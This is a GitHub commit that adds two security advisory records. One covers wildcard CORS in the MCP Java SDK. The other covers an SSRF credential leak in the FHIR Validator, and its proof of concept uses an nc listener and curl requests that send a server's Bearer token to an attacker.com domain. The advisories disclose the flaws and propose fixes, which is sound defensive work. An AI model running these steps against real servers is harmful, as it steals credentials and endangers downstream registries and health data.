Skip to content

Commit 5b82fa3

Browse files
1 parent 97a5f58 commit 5b82fa3

2 files changed

Lines changed: 151 additions & 0 deletions

File tree

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hv2w-8mjj-jw22",
4+
"modified": "2026-03-30T17:26:44Z",
5+
"published": "2026-03-30T17:26:44Z",
6+
"aliases": [
7+
"CVE-2026-34237"
8+
],
9+
"summary": "MCP Java SDK has a Hardcoded Wildcard CORS (Access-Control-Allow-Origin: *)",
10+
"details": "### Summary\n\n**Hardcoded Wildcard CORS (Access-Control-Allow-Origin: * )**\n\n- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289\n- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525\n\n### Attack Scenario\nAn attacker-controlled web page instructs the victim's browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: * allows cross-origin SSE reads, the attacker's page receives the endpoint event — which contains the session ID. The attacker can then POST to that endpoint from their page using the victim's browser as a relay.\n\n### Comparison with python-sdk\nNo Access-Control-Allow-Origin header is emitted by either Python transport. The browser's default same-origin policy remains in full effect.\nhttps://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py\nhttps://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py\n\n### Recommendation\nIn the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.\n\n### Resources\n\n- https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "io.modelcontextprotocol.sdk:mcp-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "< 1.0.0"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "Maven",
43+
"name": "io.modelcontextprotocol.sdk:mcp-core"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "1.1.0"
51+
},
52+
{
53+
"fixed": "1.1.1"
54+
}
55+
]
56+
}
57+
],
58+
"versions": [
59+
"1.1.0"
60+
]
61+
}
62+
],
63+
"references": [
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/modelcontextprotocol/java-sdk/security/advisories/GHSA-hv2w-8mjj-jw22"
67+
},
68+
{
69+
"type": "WEB",
70+
"url": "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin"
71+
},
72+
{
73+
"type": "PACKAGE",
74+
"url": "https://github.com/modelcontextprotocol/java-sdk"
75+
},
76+
{
77+
"type": "WEB",
78+
"url": "https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289"
79+
},
80+
{
81+
"type": "WEB",
82+
"url": "https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525"
83+
}
84+
],
85+
"database_specific": {
86+
"cwe_ids": [
87+
"CWE-942"
88+
],
89+
"severity": "MODERATE",
90+
"github_reviewed": true,
91+
"github_reviewed_at": "2026-03-30T17:26:44Z",
92+
"nvd_published_at": null
93+
}
94+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vr79-8m62-wh98",
4+
"modified": "2026-03-30T17:24:10Z",
5+
"published": "2026-03-30T17:24:10Z",
6+
"aliases": [
7+
"CVE-2026-34361"
8+
],
9+
"summary": "FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft",
10+
"details": "## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n \"servers\": [{\n \"url\": \"https://packages.fhir.org\",\n \"authenticationType\": \"token\",\n \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 > /tmp/captured_request.txt &\n# Register DNS: packages.fhir.org.attacker.com -> attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n -H \"Content-Type: application/json\" \\\n -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n -H \"Content-Type: application/json\" \\\n -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {\n if (serverAuthDetails != null) {\n for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n for (String serverType : serverTypes) {\n if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n return serverDetails;\n }\n }\n }\n }\n return null;\n }\n\n private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n try {\n URL req = new URL(requestUrl);\n URL srv = new URL(serverUrl);\n return req.getProtocol().equals(srv.getProtocol())\n && req.getHost().equals(srv.getHost())\n && req.getPort() == srv.getPort()\n && req.getPath().startsWith(srv.getPath());\n } catch (MalformedURLException e) {\n return false;\n }\n }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set<String> ALLOWED_HOSTS = Set.of(\n \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n try {\n URL url = new URL(ig);\n return ALLOWED_HOSTS.contains(url.getHost());\n } catch (MalformedURLException e) {\n return false; // Not a URL, could be a package reference\n }\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "6.9.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/hapifhir/org.hl7.fhir.core"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-522"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-30T17:24:10Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)